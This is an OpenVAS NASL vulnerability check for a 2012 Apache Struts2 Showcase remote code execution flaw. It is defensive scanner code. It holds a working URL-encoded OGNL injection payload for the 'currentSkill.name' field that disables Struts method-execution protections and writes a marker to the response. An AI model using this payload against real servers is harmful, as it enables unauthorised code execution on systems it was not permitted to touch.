Apache Struts2 Showcase Skill Name Remote Code Execution Vulnerability

##############################################################################
# OpenVAS Vulnerability Test
# $Id: secpod_apache_struts_showcase_code_exec_vuln.nasl 5841 2017-04-03 12:46:41Z cfi $
#
# Apache Struts2 Showcase Skill Name Remote Code Execution Vulnerability
#
# Authors:
# Antu Sanadi <[email protected]>
#
# Copyright:
# Copyright (c) 2012 SecPod, http://www.secpod.com
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

CPE = "cpe:/a:apache:struts";
if(description)
{
  script_id(902924);
  script_version("$Revision: 5841 $");
  script_bugtraq_id(55165);
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"$Date: 2017-04-03 14:46:41 +0200 (Mon, 03 Apr 2017) $");
  script_tag(name:"creation_date", value:"2012-08-31 11:47:31 +0530 (Fri, 31 Aug 2012)");
  script_tag(name:"qod_type", value:"exploit");
  script_name("Apache Struts2 Showcase Skill Name Remote Code Execution Vulnerability");

  script_tag(name: "summary" , value:"This host is running Apache Struts Showcase and is prone to
  java method execution vulnerability.");

  script_tag(name: "vuldetect" , value:"Send a crafted data via HTTP POST request
  and check whether it is is able to execute arbitrary java methods or not.");

  script_tag(name: "insight" , value:"The flaw is due to an improper validation of
  user data passed to the 'skillName' parameter in 'edit' and 'save' actions.");

  script_tag(name: "impact" , value:"Successful exploitation could allow an attacker to execute
  arbitrary java method. Further that results to disclose environment variables
  or cause a denial of service or an arbitrary OS command can be executed.

  Impact Level: Application");

  script_tag(name: "affected" , value:"Apache Struts2 (Showcase) version 2.3.4.1 and prior");

  script_tag(name: "solution" , value:"No solution or patch was made available for at least one year
  since disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective
  features, remove the product or replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_xref(name : "URL" , value : "http://www.securityfocus.com/archive/1/523956");
  script_xref(name : "URL" , value : "http://packetstormsecurity.org/files/115770/struts2-exec.txt");
  script_xref(name : "URL" , value : "http://exploitsdownload.com/exploit/na/apache-struts2-remote-code-execution");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2012 SecPod");
  script_dependencies("gb_apache_struts2_detection.nasl");
  script_mandatory_keys("ApacheStruts/installed");
  script_family("Web application abuses");
  script_require_ports("Services/www", 8080);
  exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");

asport = 0;
asRes = "";
asReq = "";
dir = "";
url = "";

if(!asport = get_app_port(cpe:CPE)){
  exit(0);
}

if(!dir = get_app_location(cpe:CPE, port:asport)){
  exit(0);
}

host = http_host_name(port:asport);

url = dir + "/showcase.action";
if(http_vuln_check(port:asport, url:url,pattern:">Showcase</",
                     extra_check:">Struts Showcase<", check_header:TRUE))
{
    ## Construct the POST data
    postdata = "currentSkill.name=%25%7B%28%23_memberAccess%5B%27allowStatic" +
               "MethodAccess%27%5D%3Dtrue%29%28%23context%5B%27xwork.MethodA" +
               "ccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23tmp%3D%40o" +
               "rg.apache.struts2.ServletActionContext%40getResponse%28%29.g" +
               "etWriter%28%29%2C%23tmp.println%28%27RCEWorked%27%29%2C%23tm" +
               "p.close%28%29%29%7D&currentSkill.description=";

    url = dir + "/skill/save.action";

    ## Construct the POST request
    asReq = string("POST ", url," HTTP/1.1\r\n",
                    "Host: ", host, "\r\n",
                    "User-Agent: ", OPENVAS_HTTP_USER_AGENT, "\r\n",
                    "Content-Type: application/x-www-form-urlencoded\r\n",
                    "Content-Length: ", strlen(postdata), "\r\n",
                    "\r\n", postdata);
    asRes = http_keepalive_send_recv(port:asport, data:asReq);

    ## Confirm the exploit
    if(asRes && asRes =~ "HTTP/1\.[0-9]+ 200" && "RCEWorked" >< asRes)
    {
      security_message(asport);
      exit(0);
    }
}